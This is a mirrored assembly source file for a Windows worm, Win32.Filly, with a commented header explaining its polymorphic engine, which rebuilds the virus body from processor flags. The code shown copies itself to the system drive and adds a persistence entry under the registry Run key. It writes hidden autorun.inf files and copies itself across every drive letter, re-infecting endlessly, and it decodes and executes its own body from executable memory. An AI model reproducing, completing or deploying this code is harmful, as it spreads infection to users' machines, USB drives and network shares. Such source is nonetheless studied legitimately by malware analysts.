mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1961 lines
41 KiB
NASM
1961 lines
41 KiB
NASM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; Win32.Filly
|
|
;; by SPTH
|
|
;; February 2012
|
|
;;
|
|
;;
|
|
;; This is a worm which spreads via network/removable/USB drives.
|
|
;;
|
|
;; It uses a novel polymorphic engine, namely the virusbody is created
|
|
;; at runtime using flags. The virusbody does not exist in any encrypted
|
|
;; data or transformed code, but just appears as shadow of the execution of
|
|
;; some overlayed instruction-flow.
|
|
;;
|
|
;; Every nibble (half byte) of the virus is represented as a code which
|
|
;; sets or clears SF,AF,PF,CF. After the code snippet of one nibble is
|
|
;; executed, either LAHF or PUSHFD is used to get the flags. The flags
|
|
;; are saved in an allocated memory, which will be executed after
|
|
;; the reconstruction.
|
|
;;
|
|
;; It can use one out of 5 ways to fully determine SF,AF,PF,CF:
|
|
;;
|
|
;; 5 | 0+4 | 1+4 | 2+4 | 4+0
|
|
;;
|
|
;; where each number represents a set of instruction with different behaviour
|
|
;; with respect to flags:
|
|
;;
|
|
;; 0: CF:
|
|
;; ROL, ROR
|
|
;;
|
|
;; 1: AF, CF (PF, SF undefined):
|
|
;; AAA, AAS
|
|
;;
|
|
;; 2: CF PF (AF undefined, SF undefined);
|
|
;; SHL, SHR, SAL, SAR
|
|
;;
|
|
;; 3: PF SF (AF undefined, CF undefined):
|
|
;; AND, XOR, TEST
|
|
;;
|
|
;; 4: AF PF SF:
|
|
;; DEC, INC
|
|
;;
|
|
;; 5: AF CF PF SF:
|
|
;; ADD, CMP, NEG, SUB
|
|
;;
|
|
;; All sets can be used as functional trash code, prior to the actual determining
|
|
;; instruction sets. Registers and type (Instr Reg1, Reg2 or Instr Reg1, NNNN) are
|
|
;; random in that case.
|
|
;;
|
|
;; For finding the correct composition of instruction and register values to get
|
|
;; the the desired flag combination, I use a semi-deterministic algorithm. This means
|
|
;; i give correct flag dependences, the the code goes in a loop searching randomly
|
|
;; for correct parameters - for each nibble of the code. In some cases, a desired
|
|
;; combination of flags can not be created with the choosen instruction - in that case
|
|
;; after 42 loops, an infinite-loop handler is called, which exits the loops and choses
|
|
;; another instruction to create the flag-combination. This procedere is unexpectedly
|
|
;; fast - in fact, even there are ~6100 random loops running, there is no noticeable
|
|
;; delay.
|
|
;;
|
|
;; The encrypted code-flow has a different size each generation. As its boring to code a
|
|
;; file size adjustment tool, I keep a constant filesize with following statistical
|
|
;; argument: In a set of 20 different files, I looked at the maximum size the used
|
|
;; code section: 175713, 175477, 175261, 175262, 177070, 176241, 177109, 175749, 172610,
|
|
;; 176471, 174657, 174682, 175275, 176186, 176004, 174359, 173549, 174638, 174684, 173893 bytes.
|
|
;; Average of the set: 175269 +/- 1148.65.
|
|
;; For padding, I used average + 7 sigma = 183'312. The probability that something
|
|
;; goes wrong is 1 / (390'682'215'445), while the probability that everything goes
|
|
;; right is 99.999999999744% - this is enough for my taste :)
|
|
;;
|
|
;; Now here you can see a generated code:
|
|
;;
|
|
;; 004020B5 . B8 A0AC599E MOV EAX,9E59ACA0
|
|
;; 004020BA . C1E0 82 SHL EAX,82
|
|
;; 004020BD . B8 A5AF1B60 MOV EAX,601BAFA5
|
|
;; 004020C2 . 48 DEC EAX
|
|
;; 004020C3 . 9C PUSHFD
|
|
;; 004020C4 . 5A POP EDX
|
|
;; 004020C5 . 8817 MOV BYTE PTR DS:[EDI],DL
|
|
;; 004020C7 . 47 INC EDI
|
|
;; 004020C8 . B9 CBC5FCAC MOV ECX,ACFCC5CB
|
|
;; 004020CD . B8 550D859F MOV EAX,9F850D55
|
|
;; 004020D2 . 29C1 SUB ECX,EAX
|
|
;; 004020D4 . 9C PUSHFD
|
|
;; 004020D5 . 58 POP EAX
|
|
;; 004020D6 . AA STOS BYTE PTR ES:[EDI]
|
|
;; 004020D7 . B8 CB5183AB MOV EAX,AB8351CB
|
|
;; 004020DC . B9 EEF33292 MOV ECX,9232F3EE
|
|
;; 004020E1 . D3C0 ROL EAX,CL
|
|
;; 004020E3 . BA 8B47E2EB MOV EDX,EBE2478B
|
|
;; 004020E8 . 4A DEC EDX
|
|
;; 004020E9 . 9F LAHF
|
|
;; 004020EA . 8827 MOV BYTE PTR DS:[EDI],AH
|
|
;; 004020EC . 47 INC EDI
|
|
;; 004020ED . BA F065255E MOV EDX,5E2565F0
|
|
;; 004020F2 . B9 A5D9FA8B MOV ECX,8BFAD9A5
|
|
;; 004020F7 . 01CA ADD EDX,ECX
|
|
;; 004020F9 . B8 8E0FB438 MOV EAX,38B40F8E
|
|
;; 004020FE . 3F AAS
|
|
;; 004020FF . BB 6B6AF3EA MOV EBX,EAF36A6B
|
|
;; 00402104 . B8 7B9CB043 MOV EAX,43B09C7B
|
|
;; 00402109 . 01C3 ADD EBX,EAX
|
|
;; 0040210B . 9F LAHF
|
|
;; 0040210C . 8827 MOV BYTE PTR DS:[EDI],AH
|
|
;; 0040210E . 47 INC EDI
|
|
;;
|
|
;; This code generates 2 bytes of the virus code.
|
|
;;
|
|
;;
|
|
;;
|
|
;; Thanks alot to hh86 for telling me about this non-standard code
|
|
;; representation she is working on, and for pointing out that LAHF
|
|
;; is actually *very* useful :)
|
|
;;
|
|
;; This is the second member of a new series of self-replicators:
|
|
;; - Win32.Kitti (overlapping code engine; in valhalla#1)
|
|
;; - Win32.Filly (code as shadow of overlayed instruction flow; in valhalla#2)
|
|
;;
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
include 'E:\Programme\FASM\INCLUDE\win32ax.inc'
|
|
|
|
.data
|
|
hMyFileName dd 0x0
|
|
hFileHandle dd 0x0
|
|
hMapHandle dd 0x0
|
|
hMapViewAddress dd 0x0
|
|
|
|
hFileCodeStart dd 0x0
|
|
|
|
RandomNumber dd 0x0
|
|
|
|
SpaceForHDC: dd 0x0 ; should be 0x0, C:\
|
|
RandomFileName: times 13 db 0x0
|
|
|
|
|
|
SpaceForHDC2: dd 0x0 ; should be 0x0, X:\
|
|
RandomFileName2:times 13 db 0x0
|
|
|
|
stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0
|
|
hKey dd 0x0
|
|
|
|
|
|
stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\"
|
|
stAutoruninf: times 12 db 0x0 ; "autorun.inf"
|
|
|
|
|
|
|
|
stAutoRunContent: times 52 db 0x0
|
|
|
|
|
|
hCreateFileAR dd 0x0
|
|
hCreateFileMappingAR dd 0x0
|
|
|
|
constFileSize EQU 185344
|
|
constCodeStart EQU 0x400
|
|
|
|
FlagMask db 0x0 ; S00A'0P1C
|
|
MaskNibble0 EQU 0000'0001b
|
|
MaskNibble1 EQU 0001'0001b
|
|
MaskNibble2 EQU 0000'0101b
|
|
MaskNibble3 EQU 1000'0100b
|
|
MaskNibble4 EQU 1001'0100b
|
|
MaskNibble5 EQU 1001'0101b
|
|
MaskRandom EQU 0000'0000b ; no content - for trash
|
|
|
|
VerifiedAddress dd 0x0
|
|
|
|
|
|
MyStartAddresse dd 0x0
|
|
|
|
NibbleData db 0x0
|
|
|
|
DecryptedCode dd 0x0
|
|
|
|
|
|
|
|
.code
|
|
start:
|
|
; ###########################################################################
|
|
; #####
|
|
; ##### Preparation (copy file, get kernel, ...)
|
|
; #####
|
|
|
|
StartEngine:
|
|
call GetMyStartAddresse
|
|
GetMyStartAddresse:
|
|
pop eax
|
|
sub eax, (GetMyStartAddresse-StartEngine)
|
|
|
|
mov dword[MyStartAddresse], eax
|
|
|
|
|
|
|
|
push 0x8007
|
|
stdcall dword[SetErrorMode]
|
|
|
|
stdcall dword[GetCommandLineA]
|
|
mov dword[hMyFileName], eax
|
|
cmp byte[eax], '"'
|
|
jne FileNameIsFine
|
|
inc eax
|
|
mov dword[hMyFileName], eax
|
|
|
|
FindFileNameLoop:
|
|
inc eax
|
|
cmp byte[eax], '"'
|
|
jne FindFileNameLoop
|
|
|
|
mov byte[eax], 0x0
|
|
FileNameIsFine:
|
|
|
|
|
|
stdcall dword[GetTickCount]
|
|
mov dword[RandomNumber], eax
|
|
|
|
xor esi, esi
|
|
CopyFileAndRegEntryMore:
|
|
mov ebx, 26
|
|
mov ecx, 97
|
|
call CreateSpecialRndNumber
|
|
|
|
mov byte[RandomFileName+esi], dl
|
|
inc esi
|
|
cmp esi, 8
|
|
jb CopyFileAndRegEntryMore
|
|
|
|
mov eax, ".exe"
|
|
mov dword[RandomFileName+esi], eax
|
|
|
|
mov al, "C"
|
|
mov byte[SpaceForHDC+1], al
|
|
mov al, ":"
|
|
mov byte[SpaceForHDC+2], al
|
|
mov al, "\"
|
|
mov byte[SpaceForHDC+3], al
|
|
|
|
push FALSE
|
|
push SpaceForHDC+1
|
|
push dword[hMyFileName]
|
|
stdcall dword[CopyFileA]
|
|
|
|
|
|
|
|
; #####
|
|
; ##### Preparation (copy file, get kernel, ...)
|
|
; #####
|
|
; ###########################################################################
|
|
|
|
|
|
; ###########################################################################
|
|
; #####
|
|
; ##### Open New File
|
|
; #####
|
|
|
|
push 0x0
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_ALWAYS
|
|
push 0x0
|
|
push 0x0
|
|
push (GENERIC_READ or GENERIC_WRITE)
|
|
push SpaceForHDC+1
|
|
stdcall dword[CreateFileA]
|
|
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
je IVF_NoCreateFile
|
|
mov dword[hFileHandle], eax
|
|
|
|
push 0x0
|
|
push constFileSize
|
|
push 0x0 ; nFileSizeHigh=0 from above
|
|
push PAGE_READWRITE
|
|
push 0x0
|
|
push dword[hFileHandle]
|
|
stdcall dword[CreateFileMappingA]
|
|
|
|
cmp eax, 0x0
|
|
je IVF_NoCreateMap
|
|
mov dword[hMapHandle], eax
|
|
|
|
push constFileSize
|
|
push 0x0
|
|
push 0x0
|
|
push FILE_MAP_WRITE
|
|
push dword[hMapHandle]
|
|
stdcall dword[MapViewOfFile]
|
|
|
|
cmp eax, 0x0
|
|
je IVF_NoMapView
|
|
mov dword[hMapViewAddress], eax
|
|
|
|
; #####
|
|
; ##### Open New File
|
|
; #####
|
|
; ###########################################################################
|
|
|
|
call DoNibbleTrafo
|
|
|
|
|
|
; ###########################################################################
|
|
; #####
|
|
; ##### Close New File
|
|
; #####
|
|
|
|
IVF_CloseMapView:
|
|
push dword[hMapViewAddress]
|
|
stdcall dword[UnmapViewOfFile]
|
|
|
|
IVF_NoMapView:
|
|
push dword[hMapHandle]
|
|
stdcall dword[CloseHandle]
|
|
|
|
IVF_NoCreateMap:
|
|
push dword[hFileHandle]
|
|
stdcall dword[CloseHandle]
|
|
|
|
IVF_NoCreateFile:
|
|
|
|
; #####
|
|
; ##### Close New File
|
|
; #####
|
|
; ###########################################################################
|
|
|
|
|
|
; invoke ExitProcess, 0
|
|
|
|
; ###########################################################################
|
|
; #####
|
|
; ##### Spread this kitty ;)
|
|
; #####
|
|
|
|
SpreadKitty:
|
|
; Representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
|
|
; One could permute it - but too lazy for doing this task atm :)
|
|
|
|
mov eax, stKey
|
|
mov dword[eax+0x00], "SOFT"
|
|
mov dword[eax+0x04], "WARE"
|
|
mov dword[eax+0x08], "\Mic"
|
|
mov dword[eax+0x0C], "roso"
|
|
mov dword[eax+0x10], "ft\W"
|
|
mov dword[eax+0x14], "indo"
|
|
mov dword[eax+0x18], "ws\C"
|
|
mov dword[eax+0x1C], "urre"
|
|
mov dword[eax+0x20], "ntVe"
|
|
mov dword[eax+0x24], "rsio"
|
|
mov dword[eax+0x28], "n\Ru"
|
|
mov byte[eax+0x2C], "n"
|
|
|
|
push 0x0
|
|
push hKey
|
|
push 0x0
|
|
push KEY_ALL_ACCESS
|
|
push REG_OPTION_NON_VOLATILE
|
|
push 0x0
|
|
push 0x0
|
|
push stKey
|
|
push HKEY_LOCAL_MACHINE
|
|
stdcall dword[RegCreateKeyExA]
|
|
|
|
push 16
|
|
push SpaceForHDC+1
|
|
push REG_SZ
|
|
push 0x0
|
|
push 0x0
|
|
push dword[hKey]
|
|
stdcall dword[RegSetValueExA]
|
|
|
|
push dword[hKey]
|
|
stdcall dword[RegCloseKey]
|
|
|
|
xor eax, eax
|
|
mov dword[stAutorunWithDrive], "X:\a"
|
|
mov dword[stAutorunWithDrive+2], "\aut"
|
|
mov dword[stAutoruninf+3], "orun"
|
|
mov dword[stAutoruninf+7], ".inf"
|
|
|
|
mov dword[stAutoRunContent], "[Aut"
|
|
mov dword[stAutoRunContent+0x04], "orun"
|
|
mov dword[stAutoRunContent+0x08], 0x530A0D5D
|
|
mov dword[stAutoRunContent+0x0C], "hell" ; !!!!!!!
|
|
mov dword[stAutoRunContent+0x10], "Exec"
|
|
mov dword[stAutoRunContent+0x14], "ute="
|
|
mov eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe
|
|
mov dword[stAutoRunContent+0x18], eax
|
|
mov eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe
|
|
mov dword[stAutoRunContent+0x1C], eax
|
|
mov dword[stAutoRunContent+0x20], ".exe"
|
|
mov dword[stAutoRunContent+0x24], 0x73550A0D
|
|
mov dword[stAutoRunContent+0x28], "eAut"
|
|
mov dword[stAutoRunContent+0x2C], "opla"
|
|
mov dword[stAutoRunContent+0x30], 0x00313D79
|
|
|
|
; i like that coding style, roy g biv! :))
|
|
push 51
|
|
push 0x0
|
|
push 0x0
|
|
push FILE_MAP_ALL_ACCESS
|
|
push 0x0
|
|
push 51
|
|
push 0x0
|
|
push PAGE_READWRITE
|
|
push 0x0
|
|
push 0x0
|
|
push FILE_ATTRIBUTE_HIDDEN
|
|
push OPEN_ALWAYS
|
|
push 0x0
|
|
push 0x0
|
|
push (GENERIC_READ or GENERIC_WRITE)
|
|
push stAutoruninf
|
|
|
|
stdcall dword[CreateFileA]
|
|
push eax
|
|
mov dword[hCreateFileAR], eax
|
|
stdcall dword[CreateFileMappingA]
|
|
push eax
|
|
mov dword[hCreateFileMappingAR], eax
|
|
stdcall dword[MapViewOfFile]
|
|
|
|
xor cl, cl
|
|
mov esi, stAutoRunContent
|
|
MakeAutoRunInfoMore:
|
|
mov bl, byte[esi]
|
|
mov byte[eax], bl
|
|
inc eax
|
|
inc esi
|
|
inc ecx
|
|
cmp cl, 51
|
|
jb MakeAutoRunInfoMore
|
|
|
|
sub eax, 51
|
|
push dword[hCreateFileAR]
|
|
push dword[hCreateFileMappingAR]
|
|
push eax
|
|
stdcall dword[UnmapViewOfFile]
|
|
stdcall dword[CloseHandle]
|
|
stdcall dword[CloseHandle]
|
|
|
|
mov dword[SpaceForHDC2+1], "A:\."
|
|
mov eax, dword[RandomFileName]
|
|
mov dword[RandomFileName2], eax ; XXXXxxxx.exe
|
|
mov eax, dword[RandomFileName+0x04]
|
|
mov dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe
|
|
mov eax, dword[RandomFileName+0x08]
|
|
mov dword[RandomFileName2+0x08], eax ; .exe
|
|
|
|
|
|
SpreadKittyAnotherTime:
|
|
mov dword[SpaceForHDC2], 0x003A4100 ; 0x0, "A:", 0x0
|
|
|
|
STKAnotherRound:
|
|
push SpaceForHDC2+1
|
|
stdcall dword[GetDriveTypeA]
|
|
|
|
xor ebx, ebx ; 0 ... No Drive
|
|
; 1 ... Drive (without autorun.inf)
|
|
; 2 ... Drive (with autorun.inf)
|
|
|
|
mov cl, '\'
|
|
mov byte[SpaceForHDC2+3],cl
|
|
|
|
|
|
cmp al, 0x2
|
|
je STKWithAutoRun
|
|
|
|
cmp al, 0x3
|
|
je STKWithoutAutoRun
|
|
|
|
cmp al, 0x4
|
|
je STKWithAutoRun
|
|
|
|
cmp al, 0x6
|
|
je STKWithAutoRun
|
|
|
|
jmp STKCreateEntriesForNextDrive
|
|
|
|
STKWithAutoRun:
|
|
|
|
push FALSE
|
|
push stAutorunWithDrive
|
|
push stAutoruninf
|
|
stdcall dword[CopyFileA]
|
|
|
|
STKWithoutAutoRun:
|
|
|
|
push FALSE
|
|
push SpaceForHDC2+1
|
|
push SpaceForHDC+1
|
|
stdcall dword[CopyFileA]
|
|
|
|
|
|
STKCreateEntriesForNextDrive:
|
|
xor eax, eax
|
|
mov al, byte[SpaceForHDC2+1]
|
|
cmp al, "Z"
|
|
je SpreadThisKittyEnd
|
|
|
|
inc al
|
|
mov byte[SpaceForHDC2+1], al ; next drive
|
|
mov byte[stAutorunWithDrive], al ; next drive
|
|
mov byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0
|
|
jmp STKAnotherRound
|
|
|
|
|
|
SpreadThisKittyEnd:
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and eax, (0x8000 - 1) ; 0-32 sec
|
|
|
|
push eax
|
|
stdcall dword[Sleep]
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and eax, (0x100-1)
|
|
jnz SpreadKittyAnotherTime
|
|
|
|
jmp SpreadKittyAnotherTime
|
|
|
|
; #####
|
|
; ##### Spread this kitty ;)
|
|
; #####
|
|
; ###########################################################################
|
|
|
|
|
|
|
|
DoNibbleTrafo:
|
|
|
|
mov edi, dword[hMapViewAddress]
|
|
add edi, constCodeStart
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; First create the VirtualAlloc code and save the value
|
|
;;
|
|
|
|
virtual at 0 ; cool FASM feature:
|
|
; this compiles code virtually
|
|
; and one can use variables to access it
|
|
; ideal for our purpose :)
|
|
invoke VirtualAlloc, 0x0, 100'000, 0x1000, PAGE_EXECUTE_READWRITE
|
|
mov dword[DecryptedCode], eax
|
|
xchg edi, eax
|
|
mov edi, edi ; just for padding...
|
|
; uuhh, do we know this instruction? ;)
|
|
|
|
load iVirtualCodeA dword from 0
|
|
load iVirtualCodeB dword from 4
|
|
load iVirtualCodeC dword from 8
|
|
load iVirtualCodeD dword from 12
|
|
load iVirtualCodeE dword from 16
|
|
load iVirtualCodeF dword from 20
|
|
load iVirtualCodeG dword from 24 ; i hate "word", 2byte data-types.
|
|
end virtual ; they are just unelegant...
|
|
|
|
|
|
mov dword[edi+00], iVirtualCodeA
|
|
mov dword[edi+04], iVirtualCodeB
|
|
mov dword[edi+08], iVirtualCodeC
|
|
mov dword[edi+12], iVirtualCodeD
|
|
mov dword[edi+16], iVirtualCodeE
|
|
mov dword[edi+20], iVirtualCodeF
|
|
mov dword[edi+24], iVirtualCodeG
|
|
add edi, 26
|
|
|
|
mov dword[VerifiedAddress], edi
|
|
|
|
;;
|
|
;; First create the VirtualAlloc code and save the value
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; Now create the whole representation of the code in form of flags
|
|
;; of some other random code ( main engine )
|
|
;;
|
|
mov esi, dword[MyStartAddresse]
|
|
|
|
CreateCodeForAllBytes:
|
|
mov al, byte[esi]
|
|
|
|
mov byte[NibbleData], al
|
|
and byte[NibbleData], 0000'1111b
|
|
push esi
|
|
call CreateCodeForNibble
|
|
pop esi
|
|
|
|
mov al, byte[esi]
|
|
shr al, 4 ; get the second nibble of this byte
|
|
mov byte[NibbleData], al
|
|
and byte[NibbleData], 0000'1111b
|
|
push esi
|
|
call CreateCodeForNibble
|
|
pop esi
|
|
|
|
inc esi
|
|
|
|
mov ebx, dword[MyStartAddresse]
|
|
add ebx, (WholeCodeEnd-StartEngine)
|
|
cmp esi, ebx
|
|
jne CreateCodeForAllBytes
|
|
|
|
|
|
;;
|
|
;; Now create the whole representation of the code in form of flags
|
|
;; of some other random code ( main engine )
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; In the end, rearrange the information to extract the viral code
|
|
;;
|
|
|
|
virtual at 0
|
|
mov ecx, dword[DecryptedCode]
|
|
mov edx, ecx
|
|
|
|
ReorganizeMore:
|
|
mov bh, byte[ecx]
|
|
inc ecx
|
|
push 0 ; Some PIC workaround :)
|
|
jmp Decrypt
|
|
ReorganizeFirstNibbleBack:
|
|
|
|
and al, 0000'1111b
|
|
push eax
|
|
|
|
|
|
|
|
mov bh, byte[ecx]
|
|
inc ecx
|
|
|
|
push 1
|
|
jmp Decrypt
|
|
ReorganizeSecondNibbleBack:
|
|
|
|
and al, 0000'1111b
|
|
shl al, 4
|
|
pop ebx
|
|
add al, bl
|
|
|
|
mov byte[edx], al
|
|
inc edx
|
|
mov eax, dword[DecryptedCode]
|
|
add eax, (WholeCodeEnd-StartEngine)
|
|
|
|
cmp edx, eax
|
|
jne ReorganizeMore
|
|
|
|
jmp dword[DecryptedCode]
|
|
|
|
|
|
Decrypt:
|
|
|
|
; in: bh=S00A'0P1C
|
|
; out: al=0000'SAPC
|
|
mov al, bh ; al=S00A'0P1C
|
|
and al, 0000'0001b ; al=0000'000C
|
|
|
|
shr bh, 1 ; bh=0S00'A0P1
|
|
push ebx
|
|
and bh, 0000'0010b ; bh=0000'00P0
|
|
add al, bh ; al=0000'00PC
|
|
|
|
pop ebx ; bh=0S00'A0P1
|
|
shr bh, 1 ; bh=00S0'0A0P
|
|
push ebx
|
|
and bh, 0000'0100b ; bh=0000'0A00
|
|
add al, bh ; al=0000'0APC
|
|
|
|
pop ebx ; bh=00S0'0A0P
|
|
shr bh, 2 ; bh=0000'S00A
|
|
and bh, 0000'1000b ; bh=0000'S000
|
|
add al, bh ; al=0000'SAPC
|
|
|
|
pop ebx
|
|
test ebx, ebx
|
|
|
|
jz ReorganizeFirstNibbleBack
|
|
jmp ReorganizeSecondNibbleBack
|
|
|
|
load cVirtualCodeA dword from 0 ; Most likely there is a more elegant
|
|
load cVirtualCodeB dword from 4 ; way to handle this requirement
|
|
load cVirtualCodeC dword from 8 ; using a FASM macro.
|
|
load cVirtualCodeD dword from 12
|
|
load cVirtualCodeE dword from 16 ; But i couldnt find one - tell me
|
|
load cVirtualCodeF dword from 20 ; if you know a way to copy data
|
|
load cVirtualCodeG dword from 24 ; to a memory addresse from a
|
|
load cVirtualCodeH dword from 28 ; virtual compilation space.
|
|
load cVirtualCodeI dword from 32
|
|
load cVirtualCodeJ dword from 36
|
|
load cVirtualCodeK dword from 40
|
|
load cVirtualCodeL dword from 44
|
|
load cVirtualCodeM dword from 48
|
|
load cVirtualCodeN dword from 52
|
|
load cVirtualCodeO dword from 56
|
|
load cVirtualCodeP dword from 60
|
|
load cVirtualCodeQ dword from 64
|
|
load cVirtualCodeR dword from 68
|
|
load cVirtualCodeS dword from 72
|
|
load cVirtualCodeT dword from 76
|
|
load cVirtualCodeU dword from 80
|
|
load cVirtualCodeV dword from 84
|
|
load cVirtualCodeW dword from 88
|
|
load cVirtualCodeX byte from 92
|
|
|
|
end virtual
|
|
|
|
mov dword[edi+00], cVirtualCodeA
|
|
mov dword[edi+04], cVirtualCodeB
|
|
mov dword[edi+08], cVirtualCodeC
|
|
mov dword[edi+12], cVirtualCodeD
|
|
mov dword[edi+16], cVirtualCodeE
|
|
mov dword[edi+20], cVirtualCodeF
|
|
|
|
mov dword[edi+24], cVirtualCodeG
|
|
mov dword[edi+28], cVirtualCodeH
|
|
mov dword[edi+32], cVirtualCodeI
|
|
mov dword[edi+36], cVirtualCodeJ
|
|
mov dword[edi+40], cVirtualCodeK
|
|
|
|
mov dword[edi+44], cVirtualCodeL
|
|
mov dword[edi+48], cVirtualCodeM
|
|
mov dword[edi+52], cVirtualCodeN
|
|
mov dword[edi+56], cVirtualCodeO
|
|
mov dword[edi+60], cVirtualCodeP
|
|
|
|
mov dword[edi+64], cVirtualCodeQ
|
|
mov dword[edi+68], cVirtualCodeR
|
|
mov dword[edi+72], cVirtualCodeS
|
|
mov dword[edi+76], cVirtualCodeT
|
|
mov dword[edi+80], cVirtualCodeU
|
|
|
|
mov dword[edi+84], cVirtualCodeV
|
|
mov dword[edi+88], cVirtualCodeW
|
|
mov byte[edi+92], cVirtualCodeX
|
|
|
|
;;
|
|
;; In the end, rearrange the information to extract the viral code
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
ret
|
|
|
|
|
|
CreateCodeForNibble:
|
|
; 5 possible algos:
|
|
; -> 5
|
|
; -> 0+4 | 1+4 |2+4
|
|
; -> 4+0
|
|
|
|
|
|
CreateCodeBeginTrash:
|
|
call GetRandomNumber
|
|
test byte[RandomNumber+1], 0000'0011b
|
|
jnz DoNibbleFindAlgo_NoTrashBegin
|
|
mov byte[FlagMask], MaskRandom
|
|
mov bl, byte[RandomNumber+2]
|
|
call GetRandomNumber
|
|
|
|
mov al, byte[RandomNumber]
|
|
and al, 0000'0111b
|
|
|
|
jz GC_Trash_Not0
|
|
call GenerateNibble0
|
|
jmp CreateCodeBeginTrash
|
|
|
|
GC_Trash_Not0:
|
|
dec al
|
|
jz GC_Trash_Not1
|
|
call GenerateNibble1
|
|
jmp CreateCodeBeginTrash
|
|
|
|
GC_Trash_Not1:
|
|
dec al
|
|
jz GC_Trash_Not2
|
|
call GenerateNibble2
|
|
jmp CreateCodeBeginTrash
|
|
|
|
GC_Trash_Not2:
|
|
dec al
|
|
jz GC_Trash_Not3
|
|
call GenerateNibble3
|
|
jmp CreateCodeBeginTrash
|
|
|
|
GC_Trash_Not3:
|
|
dec al
|
|
jz GC_Trash_Not4
|
|
call GenerateNibble4
|
|
jmp CreateCodeBeginTrash
|
|
|
|
GC_Trash_Not4:
|
|
dec al
|
|
jz CreateCodeBeginTrash
|
|
call GenerateNibble5
|
|
|
|
jmp CreateCodeBeginTrash
|
|
DoNibbleFindAlgo_NoTrashBegin:
|
|
|
|
|
|
DoNibbleNewRnd:
|
|
call GetRandomNumber
|
|
mov al, byte[RandomNumber]
|
|
and al, 0000'0111b
|
|
cmp al, 4
|
|
ja DoNibbleNewRnd
|
|
|
|
test al, -1
|
|
|
|
jnz DoNibbleFindAlgoNot5
|
|
; -> 5
|
|
mov byte[FlagMask], MaskNibble5
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble5
|
|
jmp DoNibbleFinalize
|
|
|
|
|
|
|
|
DoNibbleFindAlgoNot5:
|
|
|
|
dec al
|
|
jnz DoNibbleFindAlgoNot04
|
|
; -> 0+4
|
|
|
|
mov byte[FlagMask], MaskNibble0
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble0
|
|
|
|
mov byte[FlagMask], MaskNibble4
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble4
|
|
jmp DoNibbleFinalize
|
|
|
|
|
|
|
|
DoNibbleFindAlgoNot04:
|
|
|
|
dec al
|
|
jnz DoNibbleFindAlgoNot14
|
|
; -> 1+4
|
|
mov byte[FlagMask], MaskNibble5 ; need to clear AF first,
|
|
mov bl, byte[RandomNumber+3] ; otherwise AAA/AAS influence CF
|
|
and bl, 0000'1011b ; clear AF
|
|
call GenerateNibble5
|
|
|
|
mov byte[FlagMask], MaskNibble1
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble1
|
|
|
|
mov byte[FlagMask], MaskNibble4
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble4
|
|
jmp DoNibbleFinalize
|
|
|
|
|
|
|
|
DoNibbleFindAlgoNot14:
|
|
|
|
dec al
|
|
jnz DoNibbleFindAlgoNot24
|
|
; -> 2+4
|
|
mov byte[FlagMask], MaskNibble2
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble2
|
|
|
|
mov byte[FlagMask], MaskNibble4
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble4
|
|
jmp DoNibbleFinalize
|
|
|
|
|
|
|
|
DoNibbleFindAlgoNot24:
|
|
; -> 4+0
|
|
|
|
mov byte[FlagMask], MaskNibble4
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble4
|
|
|
|
mov byte[FlagMask], MaskNibble0
|
|
mov bl, byte[NibbleData]
|
|
call GenerateNibble0
|
|
; jmp DoNibbleFinalize
|
|
|
|
|
|
DoNibbleFinalize:
|
|
|
|
call GetRandomNumber
|
|
test byte[RandomNumber], 0001'0000b ; LAHF or PUSHFD+POP?
|
|
jnz DoNF_PUSHFD
|
|
|
|
mov byte[edi], 0x9F ; LAHF
|
|
inc edi
|
|
|
|
test byte[RandomNumber], 0000'1000b
|
|
jnz DoNibbleFin_AH
|
|
|
|
test byte[RandomNumber], 0000'0010b
|
|
jnz DoNibbleFinAL_2
|
|
|
|
mov byte[edi+00], 0x88
|
|
mov byte[edi+01], 0xE0 ; mov al, ah
|
|
jmp DoNibbleFinAL_2_X
|
|
|
|
DoNibbleFinAL_2:
|
|
mov byte[edi+00], 0x86
|
|
mov byte[edi+01], 0xC4 ; xchg ah, al
|
|
test byte[RandomNumber], 0000'0100b
|
|
jnz DoNibbleFinAL_2_X
|
|
|
|
mov byte[edi+01], 0xE0 ; xchg al, ah
|
|
DoNibbleFinAL_2_X:
|
|
|
|
mov byte[edi+02], 0xAA ; stos
|
|
add edi, 3
|
|
jmp DoNibbleEnd
|
|
|
|
|
|
|
|
DoNibbleFin_AH:
|
|
mov byte[edi+00], 0x88
|
|
mov byte[edi+01], 0x27 ; mov byte[edi], ah
|
|
mov byte[edi+02], 0x47 ; inc edi (thx hh86 :D)
|
|
add edi, 3
|
|
